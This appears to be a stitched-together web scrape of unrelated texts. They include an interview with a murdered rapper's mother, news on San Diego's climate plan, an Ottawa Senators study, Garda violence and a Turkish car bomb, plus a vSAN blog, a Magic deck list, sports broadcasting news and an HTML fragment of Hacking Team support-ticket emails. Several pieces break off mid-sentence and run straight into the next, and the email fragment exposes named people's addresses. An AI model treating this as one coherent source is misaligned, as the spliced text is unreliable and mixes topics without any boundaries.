How was he recording at 8 years old? That’s sort of unheard of.
It was just natural for him. It was surprising to me because he would always be around rapping but I just never paid attention to how good he really was. So sometimes I would just be like, “Can you be quiet? Go write it down.” Because he’d just be freestyling all around and it would get on my nerves [ laughs ]. So I’m like, “Go write it down. Write it in your book. Keep up with it.”
What kind of a child was he?
He was outdoors. His attention span was very low. You’d always have to keep him busy. I guess his mind was racing now that I just look back at it, his mind was always on something. Being an only child, being at home with me was just boring for him. So he used to run away, go to school and sometimes not even come home and stay at a friend’s house just because they had a video game. Once I got him a video game, if he did something again that’d be his punishment -- I’d take away his video game. So he would find a way to do what he wanted to do, no matter what he had to do.
He was smart. I remember reporting him because when he wouldn’t come home from school I didn’t know what to do, so I’d call the police to make a report and it became an ongoing thing. And they got to the point where they didn’t even want to deal with it, like, “Ma’am he’s not missing, he’s a runaway.” And Snupe would know to go to empty apartment buildings, knowing no one lived there so no one would answer the door because he didn’t want to come home and face punishment and be bored again. He had to be doing something.
[The police] would be so surprised how a young kid that age was so smart to manipulate them. They were frustrated with him because while his mother was worrying herself to death, he was out playing. And he just wanted to be out playing and with other kids.
Did he get in trouble with the law when he was young?
Never too much. He never did any criminal acts, it was just being ungovernable and being disrespectful to teachers. But I learned he was the kind of kid that if you respected him, he’d respect you. And they knew how to push his buttons but he just wasn’t strong enough to not react to it, so it was always a school thing, never in the streets illegal.
When did you realize rapping was going to be a serious career path for him?
He dropped his first mixtape on Dec. 12, 2012. He had been recording and he hid that from me, but he’d come around me and rap some of his songs that were actually on the mixtape, I just didn’t know that was his stuff. So he recorded that mixtape and got it to Meek and he started talking about how they were sending him a ticket to fly to Philadelphia. So I was like, “Yeah, this is real.”
What was Snupe’s reaction to the feedback he got on his first tape?
Everybody was just saying they felt where he was coming from and could relate to what he was talking about on the mixtape. I go back and listen to what he said. Snupe said he just rapped what he feel and hoped it was spiritual healing.
How did his relationship with Meek develop?
Well around October or November 2012, he gave Meek his mixtape at Grambling. And by about December he came and told me I didn’t have to get him anything for Christmas because Meek wanted him to come to Philadelphia. And I was telling Snupe no, you’re not going, so whatever. He came back like, “Well, they’re gonna send my ticket next week,” but I just brushed it off.
And then he came back with the ticket, and I was wondering why someone of Meek’s status would send a Greyhound ticket when he could just fly Snupe out there. And I said, “Well maybe Meek just wanted to see how bad Snupe really wanted it.” So I took him to the bus station and as a parent I just wasn’t safe, I didn’t feel good about him going at all but I was working two jobs at that time so I couldn’t just drop everything and just go on hope that you may make it or you may get a record deal or whatever.
So he got on the bus, it was 36 hours to Philly from Grambling, and he got to Meek and everything just started going from there. I think when they linked up, maybe the next day Snupe was doing a rap battle for T.I.’s album release party. So everything was so fast for him, and it just started going up for him.
I didn’t find out the truth until Snupe’s funeral. Meek came to Jonesboro and I was in the Sprinter with him telling him how I appreciated everything he’d done and how he sent for Snupe, and Meek told me he never sent for Snupe. Snupe just showed up out there, he didn’t even know Snupe was coming.
How do you feel like Snupe’s life changed after he got with Meek?
I think he felt successful. He was counted out by so many based on his childhood and the route that it looked like he was taking. He felt accomplished and he was proud. I finally saw happiness inside of him.
Had he not been happy for most of his life?
Well, we talked and he told me he struggled with his father not being around. He told me, “Mama, it’s not even you that I’m mad at, it’s my dad. But since you’re here, you’re the one I take it out on.” He started seeing other people with their dad and it can make you angry. But I just seen a different light in him [after getting with Meek], a glow.
The media ran with the conclusion that a suspect named Tony Holden had initially done the crime. Was that the guy pictured with Snupe playing video games shortly before the incident when he was killed?
Yes, that was him. Tony was the original one accused, but they didn’t find out until after the autopsy that the gun Tony turned in, its bullets weren’t the same size as the bullets that killed Snupe. He had a friend named Edrick Stewart and it was conclusive that Edrick’s bullet was actually the bullet that killed Snupe.
Snupe was robbed, the police did not determine who robbed him and they showed no interest in who robbed him. So Tony was out on bail during the time of Snupe’s murder and he turned himself in for that reason, not the fact that he was feeling bad about Snupe’s death. He got 10 years for being a convicted felon with a firearm because his bullet was not the one that killed Snupe.
Edrick received nothing. They dropped his charge and he was only being charged with I think illegal use of a weapon in a violent crime. The judge stated which bullet it was so it wasn’t a question of who killed him. It’s why is it that no one is being prosecuted for killing him.
How did you feel the police handled the case?
I think that they totally disrespected Addarren Ross. There were a lot of different things that could have been done if they had just put forth effort, we may know more than what we do know. And now, because of their failure to do their job, Edrick Stewart’s name is involved in another homicide from December 31, which means another family has had to go through what I’m going through because you guys failed to do your job.
Why do you believe they didn’t put forth the necessary effort?
I just think they’re lazy, it’s a prejudice issue. We’re a small town and it’s just another African-American dead. It was told to me that the chief of police was helping Tony [Holden] the best he could because that’s who they were making it seem like killed Snupe.
A lot of evidence was messed up. They actually robbed the apartment where Snupe was killed around 2 p.m. Snupe was pronounced dead around 4:08 a.m., so later that day they let people go in there and rob it. Nothing was ever done about that, so they could have tampered with evidence. They didn’t protect the scene and they just didn’t put forth effort to find out what happened to my son.
Were there any efforts made to follow up with the police?
Yes, I reached out to every lawyer I could talk to. I was told two different statutory dates, one was one year and one was two years. Each lawyer said they had researched every avenue and there was nothing they could do. It was just the fact that all of them are friends with the distract attorney, everyone’s connected, so I had no help, it was just me against everybody.
I’ve done everything, I’ve stayed on them from day one, pop-up visits, whatever I had to do. It’s because of me that Snupe was even relevant in court at the time of Tony Holden’s hearing because he wasn’t being charged with Snupe’s life. It didn’t matter at that time and I made him relevant.
The incident with Snupe, that was over a bet for video game?
Yeah they were paying the 2K basketball game and they were betting $100 a game. There are so many different stories, Edrick told me three different stories so I still have yet to find out the truth. The one that I learned was like Tony and Snupe were pretty much okay and Edrick caused a scene that led to Snupe’s death. I just kinda feel like Tony had a lot more to lose than to do that, in the story I received.
What rappers have showed support for you and your family in the aftermath of this?
Trae tha Truth, [Yo] Gotti and his team are still connected and check on me. Boosie and his family and his team. Moneybag. I met with Trina, she showed her support. Keyshia Cole. I don’t want to leave anybody out but I just think and think.
The industry itself has shown so much love. Snoop Dogg, I’ve never even met him but he showed Snupe love for his birthday. The Game, Curren$y, there are just so many that continue to show love for him and there are so many I’ve never met, so I know he impacted the industry through greatness.
Were there any big collaborations Snupe had recorded that weren’t released?
You’d have to ask his former manager about the things Snupe recorded. It took me a long time to even hear his music and there are still plenty of things I haven’t heard, and it’s by choice.
I do have some new artists I’ve been conversing with who are interested in a project with Snupe, so we were gonna make that happen too, so stuff he had recorded we could put together with some new artists.
Is there another album in the works?
We’re actually working on the third album. Nothing has been finalized and we’re still in the process because I’m working on getting my book out and getting Snupe’s documentary all out at the same time.
The documentary, it’ll be on his life and rap career?
Yes, because his life is so amazing it’s like a key to motivation for anyone. People come from dark sides of the streets and they have no hope and Snupe could have given them that hope that it doesn’t matter your background. Whatever you want to do, if you put God first you can make it.
That motivation is what the young generation needs today. A lot of children grow up in homes and run to the streets because there’s no love at home, but the streets show you love. A lot of mistakes are made and I just want to motivate someone because I’m always getting emails about how Snupe inspired people’s lives, he saved people’s lives just through his music. So to see the visual of it, I hope it can inspire someone else and many more who might not even know him.GUESTS: Cody Hooven, sustainability manager, city of San Diego Nicole Capretz, executive director, Climate Action Campaign
The City Council unanimously approved a Climate Action Plan on Tuesday that legally commits it to a series of environmentally friendly goals.
San Diego now has a legal commitment to cut its greenhouse gases in half in 20 years.
The City Council unanimously approved a Climate Action Plan on Tuesday that has been in the works for five years and was introduced in its final version by Mayor Kevin Faulconer in September 2014.
Document San Diego Climate Action Plan Final The final draft of San Diego's Climate Action Plan. Download document
"Approving this plan today creates a map for charting San Diego’s future by striking the right balance between protecting our environment, which we hold so precious, and growing our economy," Faulconer said. "San Diego can support clean technology, renewable energy and economic growth."
The plan received broad support — from environmentalists to business leaders. In advance of its passage, the San Diego Regional Chamber of Commerce, the Environmental Health Coalition, the San Diego County Taxpayers Association and the Climate Action Campaign praised it.
Now the question is how to make its goals actually happen. Cody Hooven, the city's sustainability manager, said staff will prepare an annual monitoring report to be shared with the City Council each year, and that staff will bring an implementation plan to the council in April.
Councilman Todd Gloria acknowledged the difficulty of putting the plan into action.
"The plan is very aggressive, and it's going to be difficult in many ways to implement. But we are game to do it because it's so worth doing," Gloria said. "It's what's going to preserve what we love as San Diegans."
He spoke in front of environmental groups before the council's vote and told their members to hold the city responsible if it doesn't meet the plan's objectives. Because the city has passed the plan, those groups could sue it if it falls short.
The plan says the city will do an analysis of the costs and benefits of each item required to meet a goal in the plan. Some environmentalists worry those studies will give the City Council reason to vote down policies, but Gloria said he doesn't fear that.
"The cost of inaction is enormous, and the benefits of a healthy planet are obvious," he said. "So I think it's fine to go ahead and do that."
The City Council's Environment |
px 20px; height: 21px; color: rgb(153, 153, 153);">Email: <a class="moz-txt-link-abbreviated" href="mailto:b.muschitiello@hackingteam.com">b.muschitiello@hackingteam.com</a></div> </div> </div> <div class="ticketpostbarbottom" style="position: absolute; bottom: 0px; left: 0px; width: 234px; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(221, 221, 221);"> <div class="ticketpostbottomcontents" style="font-size: 13px; float: left; padding: 8px 20px; height: 21px; color: rgb(153, 153, 153);"><a href="javascript: void(0);" onclick="javascript: UICreateWindow('https://support.hackingteam.com/staff/index.php?/Tickets/Ticket/EditPost/3085/16187/inbox/-1/-1/-1/0', 'editticketpost', 'Edit Ticket Post', 'Loading...', 650, 430, true);" style="text-decoration: none; outline: none; color: rgb(0, 122, 170);"><img src="cid:part2.08020006.08010805@hackingteam.com" style="vertical-align: middle; border: 0px;" align="absmiddle" border="0"></a> <a href="javascript: void(0);" onclick="javascript: doConfirm('Are you sure you wish to continue?', 'https://support.hackingteam.com/staff/index.php?/Tickets/Ticket/DeletePost/3085/16187/inbox/-1/-1/-1/0');" style="text-decoration: none; outline: none; color: rgb(0, 122, 170);"><img src="cid:part4.03050204.02010305@hackingteam.com" style="vertical-align: middle; border: 0px;" align="absmiddle" border="0"></a> </div> </div> </div> <div class="ticketpostcontainer" style="border: 1px solid rgb(221, 221, 221); margin: 10px 0px; position: relative; color: rgb(60, 62, 67); font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-image: url(https://support.hackingteam.com/__swift/themes/__cp/images/ticket_bg.gif); background-color: rgb(248, 248, 248); background-position: 234px 0px; background-repeat: repeat-y;"> <div class="ticketpostbar" style="width: 224px; float: left; padding: 10px;"> <div class="ticketpostbarname" style="font-size: 21px; font-weight: 300; color: rgb(51, 51, 51);">Angsk</div> <div class="ticketpostbarbadgeblue" style="color: rgb(60, 62, 67);"> <div class="tpbadgetext" style="color: rgb(124, 127, 133); font-size: 14px; margin-bottom: 6px;">User</div> </div> </div> <div class="ticketpostcontents" style="margin-left: 238px; height: auto;"> <div class="ticketpostcontentsbar" style="position: relative; display: block; padding: 8px 20px; margin-bottom: 5px; font-size: 14px; box-sizing: border-box; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(238, 238, 238);"><a class="ticketbarquote" title="Quote this post" alt="Quote this post" onclick="javascript: QuoteTicketPost('3085', '16181');" style="text-decoration: none; outline: none; margin: 2px 3px 0px 0px; float: right; height: 16px; width: 16px; cursor: pointer; background: url(https://support.hackingteam.com/__swift/themes/__cp/images/icon_quote.png) no-repeat;"> </a> <div class="ticketbarcontents" style="color: rgb(153, 153, 153); font-size: 13px;">Posted on: 12 August 2014 07:16 AM</div> </div> <div class="ticketpostcontentsdetails" style="padding: 10px 0px 0px;"> <div class="ticketpostcontentsholder" style="padding: 0px 0px 5px 20px;"> <div class="ticketpostcontentsdetailscontainer" style="color: rgb(60, 62, 67); margin-bottom: 30px; cursor: text; padding: 0px 20px 20px 0px; font-size: 15px; word-wrap: break-word;"><br> As I believe you are aware of recent exposure of your competitor, I would wish to request the following:<br> <br> 1. Close and remove all tickets including attachment from the server and database.<br> 2. Change of login name. Request to use a username eg, youngboy1999, instead of email address.<br> 3. Lastly, for future emails like alerts or new updates or patch, possible to send in encrypted email using PGP instead of unencrypted email?</div> </div> </div> </div> </div> <br> <br> <br> <b>PS:</b> fai attenzione quando scrivi o rispondi a <a class="moz-txt-link-abbreviated" href="mailto:support@hackingteam.com">support@hackingteam.com</a> perchè vai ad immettere la tua risposta nel sistema di ticket creando un nuovo ticket; in questo caso è questo <br> <br> <a class="moz-txt-link-freetext" href="https://support.hackingteam.com/staff/index.php?/Tickets/Ticket/View/3127/inbox/-1/-1/-1">https://support.hackingteam.com/staff/index.php?/Tickets/Ticket/View/3127/inbox/-1/-1/-1</a> con riferimento ID: <a viewport="1" href="https://support.hackingteam.com/staff/index.php?/Tickets/Ticket/View/3127/inbox/-1/-1/-1/0" style="text-decoration: none; outline: none; color: rgb(0, 122, 170); font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 14px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255);">SFZ-631-87343</a> che provvederò a cancellare.<br> <br> <br> Saluti<br> Cristian<br> <br> <br> <br> <div class="moz-cite-prefix">Il 21/08/2014 09:53, Marco Bettini ha scritto:<br> </div> <blockquote cite="mid:D10A65D8-024C-47FB-9147-EF1689D14461@hackingteam.com" type="cite"> <div>Ciao,</div> <div><br> </div> <div>Ho ricevuto questa email da PCS<br> <br> <p style="margin: 0px; font-size: 12px; font-family: Helvetica;"><span style="font-size: 12pt;">I requested to permanent delete all existing tickets and attachment on your server but your support did not allow that. I believe you are aware of the latest leak of your competitor. We may not know what will happen but we need to prevent any leak on our info. This will allow for long term relationship.</span></p> <p style="margin: 0px; font-size: 12px; font-family: Helvetica; min-height: 13.8px;"><span style="font-size: 12pt;"></span><br> </p> <p style="margin: 0px; font-size: 12px; font-family: Helvetica;"><span style="font-size: 12pt;">"What is the issue of removing the tickets and attachments? I believe it will not take a long time to do that. Please understand that this is just a safety precaution so that if one day there is incident, there will be no exposure of us and we may still be able to work long term together.</span></p> <p style="margin: 0px; font-size: 12px; font-family: Helvetica; min-height: 13.8px;"><span style="font-size: 12pt;"></span><br> </p> <p style="margin: 0px; font-size: 12px; font-family: Helvetica;"><span style="font-size: 12pt;">Regarding your improved ticketing system, does that mean that user is able to permanently delete the tickets and attachments? If not, isn't it the same if someone manage to hack into the server, then the tickets and attachments will still be exposed?"</span></p> <div><br> </div> <div>Non conoscendo il thread tra noi e il cliente e non sapendo come funziona il sistema di ticketing, non saprei cosa rispondere.</div> <div>Potete prepararmi una risposta, per favore?</div> <div><br> </div> <div>Grazie</div> <div>Marco</div> <br> <span style="-webkit-tap-highlight-color: rgba(26, 26, 26, 0.296875); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); background-color: rgba(255, 255, 255, 0); ">--</span> <div style="-webkit-tap-highlight-color: rgba(26, 26, 26, 0.296875); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); "><span style="background-color: rgba(255, 255, 255, 0); ">Marco Bettini <br> Sales Manager <br> <br> Sent from my mobile.</span></div> </div> <div><br> Inizio messaggio inoltrato:<br> <br> </div> <blockquote type="cite"> <div><b>Da:</b> "<a moz-do-not-send="true" href="mailto:angsk@pcs-security.com">angsk@pcs-security.com</a>" <<a moz-do-not-send="true" href="mailto:angsk@pcs-security.com">angsk@pcs-security.com</a>><br> <b>Data:</b> 21 agosto 2014 04:26:41 CEST<br> <b>A:</b> "<a moz-do-not-send="true" href="mailto:m.bettini@hackingteam.it">m.bettini@hackingteam.it</a>" <<a moz-do-not-send="true" href="mailto:m.bettini@hackingteam.it">m.bettini@hackingteam.it</a>><br> <b>Oggetto:</b> <b>RE: Message 20140819</b><br> <br> </div> </blockquote> <blockquote type="cite"> <div> <meta name="Generator" content="Microsoft Exchange Server"> <!-- converted from rtf --> <style><!--.EmailQuote { margin-left: 1pt; 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For example, where a smaller frame is stiff on the flats, it might under-steer in the corners, while the opposite can be true for large frames. Correcting this required sophisticated instruments to quantify the forces being applied to the frame. In real-world testing, these measured the reactionary forces through the fork, stem, saddle—every conceivable input & output. With an immense supply of data in tow, our engineers were able to create the remedy.To equalize performance, they found that each size's performance targets required direct specificity. This means that, for every frame size, each tube size & carbon layup is specifically selected with the collected data in mind. The result? The optimal balance of rigidity, weight, and responsiveness across every frame size.The Ottawa Senators provide a boost to the capital region’s economy because of the tourists they bring in, according to a lengthy study unveiled Monday.
Former University of Ottawa professor Norm O’Reilly, uOttawa associate professor Eric Macintosh and a team of students examined the impact the Senators, their sports and entertainment group (the Bell Sensplex, Canadian Tire Centre, their various charities) and events at their facilities (concerts, the Bell Capital Cup and other tournaments) have on the Ottawa-Gatineau region.
O’Reilly told Ottawa Morning’s Hallie Cotnam the team brings in around $100 million a year in direct spending, with as much as another $100 million in “ripple effects” as well.
“When we look at branding, putting Ottawa on the map across North America as a potential tourist destination, a place for organizations from around North America to set up business… there’s a positive effect on awareness and what people think about Ottawa,” he said while explaining that potential ripple effect.
"This organization is very important to the Ottawa-Gatineau region."
He said that $100 million comes mostly from the approximately 118,000 tourists brought in annually by Senators regular season and playoff games and the money they spend in the community.
The study said 87 per cent of tourists said the primary reason for visiting the Ottawa-Gatineau area was related to the Ottawa Senators.
The "direct" impact does not include ticket sales, since the assumption is someone would have bought that ticket anyway, or the money spent by area residents, since their spending money would go to other recreational uses in the capital if the Senators weren’t around.
Similar studies have drawn criticism for failing to differentiate between local and tourist entertainment spending, said O"Reilly.
“We’re from the city, we would have done something else — gone to a restaurant, the NAC,” O'Reilly said.
In total, the team generated more than $3 billion for the local economy since its return in 1992, with direct revenues of more than $1.5 billion, the study found.
Cities with one major team closely tied to it
O’Reilly, who is now teaching at Ohio University, said the study should resonate with other smaller markets with one major sports franchise.
Norm O'Reilly is a professor of sports management at Ohio University. (Courtesy Ohio University)
“If you look at Toronto, if the Toronto Raptors were to leave it’s a very different argument because there are lots of other big sports entertainment properties,” O’Reilly said.
“This is a pretty unique situation, if you do have a city like Ottawa that has one major sports entertainment property and was to lose that, there would be some impacts felt both financially and in terms of the brand of the city, the awareness of the city etc., it would be negative.”
There had been concerns for the future of the Senators in Ottawa last summer after owner Eugene Melnyk said the franchise could be at risk if the city went ahead with a proposed casino bid for the Rideau-Carleton Raceway, which it did.
The full study results were revealed at an Ottawa Chamber of Commerce lunch on Monday.
Poll question
On mobile? Click here to vote on the most important thing the Senators bring to the community.This is Aboshan, the mighty emperor of the Cephalids and other assorted aquatic characters. I tried to build this deck to be cheap, but if you've got the cash to throw around, things like Cryptic Command or Tamiyo, the Moon Sage would make excellent additions to this deck's theme of bounce and tapping. Some fun combos in this deck include:
Unnatural Selection/Lorthos, the Tidemaker + Dismiss into Dream/Willbreaker: 8 mana to destroy/take control of 8 creatures? Sign me up!
Caged Sun + Clever Impersonator + Phyrexian Metamorph + Riptide Replicator: Titanic creatures of any creature type and color every turn!
Aboshan, Cephalid Emperor/Deluge + Archetype of Imagination + Borrowing 100,000 Arrows/Theft of Dreams: Card draw for days!
Deadeye Navigator + Great Whale/Frost Titan/Draining Whelk: Great Whale provides infinite mana, Frost Titan provides great tapdown, and Draining Whelk becomes a reusable counterspell. Think of the value!Looking at the IT infrastructure at several production sites within my customer’s organization, we quickly noticed IT infrastructure components (mainly compute and storage related) that were not up to par from an availability and performance perspective. The production sites all run local business critical ERP application workloads that are vital to the business processes. After researching and discussing a lot, I proposed my customer a new blueprint. The blueprint consists of a new compute and storage baseline for the site local datacenters. The idea was to create a platform that allows for a higher availability and more performance while reducing costs.
We researched the possibility to step away from the traditional storage arrays and move towards a Hyper Converged Infrastructure (HCI) solution. Because IT is not the main business of the company, we were trying to keep things as simple as possible. We defined several ‘flavors’ to suit each production location to its needs. For example, the small sites will be equipped with a ROBO setup, the medium sites with a single datacenter cluster and the large factories are presented a stretched cluster solution. A stretched cluster setup will allow them to adhere to the stated availability SLA in the event of a large scale outages on the plant for their most important applications that do not offer in-application clustering/resiliency.
Benefits
Since my customer is running VMware solutions in all of its datacenters, VMware vSAN was the perfect fit. It allows the customer to lean on the already in-house VMware knowledge while being able to move towards less FTE for managing the storage backend. Implementing stretched clusters on multiple sites using storage arrays can be a daunting task. And although there are prerequisites, implementing VMware vSAN is implemented fairly easy, even if you opt for a stretched cluster configuration. This allowed for very short time from the moment of receiving hardware to a fully operational vSphere and vSAN cluster. Because the customer is in the process of renewing its IT infra for a number of sites, it really helps to tell the business we can deliver within weeks rather than months.
Using the VMware vSAN ready nodes allowed us to exceed the required storage capacity and performance requirements while being more cost efficient in comparison to traditional storage arrays. As management loves lowered costs, both capex and opex, HCI was the way to go. From a manageability point-of-view, it is a big plus that all VMware datacenters and (vSAN) clusters are managed from a centralized VMware vCenter UI. Another plus was the savings in rack units as those are scarce in some site-local datacenters.
During the project, we explored both the hybrid vSAN (spindles for capacity tier / flash devices for cache tier) and all-flash vSAN configurations. Now this was an interesting point, as an all-flash vSAN configuration allows you to use inline deduplication, compression and erasure coding (RAID 5/6) given you have the correct license. Both features contribute a lot in terms of storage capacity efficiency. In the end, we went for a hybrid setup because of budget constraints. Then again, the performance of the hybrid cluster was way better than the existing spindle based storage array it would replace.
Configuration
When you have designed your network infrastructure correctly, the configuration of the vSAN nodes can be as easy as clicking a button. The wizard really does the job for you. Just define your fault domains and you are ready to go.
We did ran into some small issues while deploying the external witness host. We used the nested ESXi option but experienced some OVF deployment troubles. Easy to fix but it did cost some time.
Once set up, we executed various performance tests to create a performance benchmark. We stress tested with Hammer DB and HCI bench. Benchmarking a new IT infra is difficult. It’s easy to extract some numbers, but how will the infra behave when real-life workloads are running on it? That is why we decided to run some Development, Testing, Acceptance (DTA) workloads on it. That quickly gave excellent insights and the customer was pretty excited to notice the increase of performance.
vSAN failure scenario validation
Testing and validating is probably the most important phase within a infrastructure renewal project. Having said that, I still come across environments that are not fully tested as a result of project time pressure. It is an absolute must to verify if an IT infra is behaving as expected during various failure scenarios. We did incorporate sufficient time within this project to verify the platform’s resiliency. You always need to be fully comfortable with every failure scenario. In the process of testing, document how the workloads are behaving in the event of outages.
We tested our new stretched vSAN environment to the fullest. From testing network outages including split brain scenarios up to simulating various and multiple disks and/or hosts failures. The following screenshots were taken during excessive testing. It all went ‘green’ once we were done.
What we noticed was expected behaviour and we didn’t manage to break the vSAN environment while testing realistic failure scenarios. The result allowed us to get the approval to go forward with the migration plan for the production workloads.
To conclude
The most satisfying aspect about this project is that the customer was contented. They took the leap of faith to step away from traditional products to explore innovative solutions. Their trust was repaid with solid new infrastructures including all the benefits as mentioned in this post. Job well done. Always be innovating!
Disclaimer: Although this post almost sounds like a sales-pitch, the customer was genuinely happy with the results. And so was I.A criminal gang that has recently targeted members of An Garda Síochána with violence and intimidation is believed to be responsible for an incident early on Friday in which a shot was fired at a Garda car.
Two men in their 20s were arrested after their car was pursued by armed gardaí and brought to a stop just moments after they had rammed a Garda car in Co Kildare.
The incident happened just after 1am when gardaí received a number of calls from members of the public relating to men behaving suspiciously between the Carbery and Robertstown areas.
The Garda presence in the area has been heightened in recent months as part of a major investigation into a local drugs gang operating mainly in Kildare and Laois which has been targeting members of the force.
That operation has involved the deployment of the armed Regional Support Unit and when it responded to the calls from the public early on Friday it tried to stop a vehicle carrying two men.
However, the suspects rammed the Garda vehicle and fired one shot in their direction.
Garda pursuit
They then sped from the scene but were brought to a stop by pursuing gardaí near Clonmoyle, between Rathangan and Monasterevin.
The men were arrested and a handgun was seized. The firearm and the vehicle have been taken away for forensic analysis.
The arrested men were detained under Section 30 of the Offences Against the State Act and can be held for up to 72 hours without charge.
They are known to gardaí and were regarded as persons of interest in the wider investigation into the drugs gang that has been so active in the area of late.
While its leading figures are in their 40s and have been involved in drug dealing for many years, the Garda’s investigation of them has resulted in serious violence and intimidation of late.
In April a shotgun was fired at Carbury Garda station, which was closed at the time. Petrol was also poured in and an attempt to set the premises on fire.
Gardaí in Carbury subsequently began parking their cars at nearby stations or taking a lift in a patrol car on the final part of their journey to work.
Followed home
Some gardaí working in the area have been followed home and six local members have been issued with formal notices informing them of credible intelligence that suggests their lives are in danger.
The warnings, called ‘garda information messages’, are normally issued to criminals to warn them of a threat to their lives by others involved in crime.
The Garda is obliged under law to inform people when a credible threat to their life emerges.
Some local people in Co Kildare and into parts of Co Laois have had their cars burnt out. Gardaí believe the gang members were responsible and carried out the attacks because they suspect the victims were supplying the force with information or because they had simply been seen talking to officers.The bulk of the book’s second half spends time slowly setting the table of the world immediately surrounding Nazarick. I liked that we immediately got the sense of a living and breathing world with people going about their lives that existed independently of Momonga’s little fiefdom. We also get introduced to the political dynamics of this world, and although they weren’t anything too special or interesting I definitely wanted to see Momonga get himself involved in them for interests sake. And that he does after a village situated near Nazarick is attacked by bandits, giving Momonga the opportunity |
19, 2017
Some of the students at the barricade are chanting "fuck off Nazi scum" while waiting for Richard Spencer to leave Foy Hall pic.twitter.com/SJNTvJhMaT — Julia Reinstein (@juliareinstein) April 19, 2017
@IGD_News chants of "Fuck Richard Spencer" and "Alerta Alerta Antifaschiste" fill the crowd outside Foy Hall — auburn_it_down (@gillesdauve) April 19, 2017
Police harass #antifa in #Auburn, packs of armed Alt-Right MAGA hats prowl campus, liberals stand in protest pens. #CopsandKlanHandinHand — It's Going Down (@IGD_News) April 19, 2017
#Auburn just as in #Berkeley, police de-mask + drive out #antifa, while giving platform for neo-Nazis to speak and organize. #CopsAndKlan — It's Going Down (@IGD_News) April 19, 2017
Alt-right activist at Auburn University. pic.twitter.com/BjRgNNFAWI — Chris Joyner (@cjoyner) April 18, 2017
"Free speech advocates" and defenders of Richard Spencer's ability to speak sit at a bench in Auburn Campus. pic.twitter.com/q5cECaKGkR — Albert Cesare (@AlbertCesare) April 18, 2017
Heimbach is from wealthiest DC suburb of Poolesville, Spencer from wealthy family who makes money from a cotton farm via government. https://t.co/hJcln8Yw9O — It's Going Down (@IGD_News) April 19, 2017
White nationalists have arrived with a fasces flag. Literal symbol of fascism. — No Nazi Auburn (@no_nazi_auburn) April 18, 2017
Huge group of students have gathered to protest the alt-right: "fuck off Nazi cucks" pic.twitter.com/ug3MvK6uAE — Julia Reinstein (@juliareinstein) April 18, 2017PARK CITY, Utah -- Big Sky Conference Commissioner Andrea Williams announced a pair of new television partners for the 2017-18 season during the Football Kickoff in Pluto TV and ELEVEN SPORTS. Both new partners help expand coverage of the entire conference.
ELEVEN SPORTS will broadcast one football game of the week as well as one men's basketball game of the week beginning this fall. Along with the games of the week, they will also help expand coverage of all of the Big Sky Championships.
The network will also broadcast the quarterfinals and semifinals of the men's basketball championship as well as the women's basketball semifinals and championship game. The conference's women's soccer, volleyball and softball semifinals and championship games will also be televised on Eleven Sports.
Pluto TV is a one of the leaders in free Internet television in America, and will air all of the Big Sky Conference's live streamed sporting events. It is a free to use app that will include up to 700 football, men's and women's basketball, volleyball and selected soccer, softball and track and field events.
With Pluto TV, Big Sky Conference gets the benefit of Pluto TV's community of over 6 million monthly active users and becomes the first mid-major conference with a dedicated 24/7 channel where fans can watch from any Internet-connected device—mobile, tablet, desktop and connected TV. In addition to watching live conference events on Pluto TV, Big Sky fans will also be able to access on-demand archived events and exclusive video content on WatchBigSky.com, powered by Pluto TV.
To watch live events from the Big Sky Conference download the Pluto TV app and tune to Channel 230. For mobile and tablet, the Pluto TV app is available on iPhone and iPad from the App Store and on Android devices from Google Play. The Pluto TV app is also available on any connected living room device such as Roku, Apple TV, Android TV, Amazon Fire TV, PlayStation or Xbox as well as most smart TVs, including those from Samsung, Vizio, Sony and Hisense. Additionally, Pluto TV can be accessed via web at pluto.tv/watch.
All of the events that are televised on Eleven Sports, will also be available on WatchBigSky.ccom and Pluto TV.
About ELEVEN SPORTS
ELEVEN SPORTS is available in 70 million homes worldwide in Belgium, Italy, Luxembourg, Poland, Singapore, Taiwan and the United States. Launched in the US in March 2017, ELEVEN SPORTS is dedicated to delivering world-class domestic and international sports and lifestyle entertainment 'For The Fans'. Sports fans will be treated to a unique mix of emerging and established sports combined to provide engaging and compelling LIVE entertainment, placing the viewer at the very heart of the action.
About Pluto TV
Pluto TV, the leading free OTT television service in America, carries and programs more than 100 channels in partnership with major TV networks, movie studios, publishers, and digital media companies. It also recently launched its free Video on Demand offering. Millions of viewers tune in each month to watch premium news, TV shows, movies, sports, live events, cartoons, and trending digital series. Download the Pluto TV app free on mobile, web, and living room devices, including Roku, Apple TV, Android TV, Playstation, Xbox, and more.
Headquartered in Los Angeles, with offices in Berlin, New York City, and Silicon Valley, Pluto TV is backed by USVP, ProSiebenSat.1 Media, Scripps Networks Interactive, Sky, United Talent Agency, Luminari Capital, Chicago Ventures, Pritzker Group and other prominent investors.
-- UND --Free Syrian Army commander’s car explodes in southeastern Turkey
HATAY - Doğan News Agency
DHA Photos
A bomb placed in the car of a Free Syrian Army (FSA) commander has detonated in southeastern Turkey, while the commander is being treated for heavy injuries.An FSA commander identified as Cemil Radon was severely wounded when his car exploded at midday on Aug. 26 in Hatay province, on Turkey’s border with Syria.The bomb detonated when the commander tried to start the car parked in front of his house in Antakya, where Radon had been residing.Police teams and fire squads were dispatched to the area as security measures were tightened.Meanwhile, Radon was immediately transferred to the emergency department of Antakya State Hospital via an ambulance. Reports indicated Radon’s condition remains critical.Daily Hürriyet reported Radon had been targeted by a similar attack in Hatay’s Reyhanlı district, where a bomb placed under his car detonated.(Amy Cavenaile/The Washington Post; iStock)
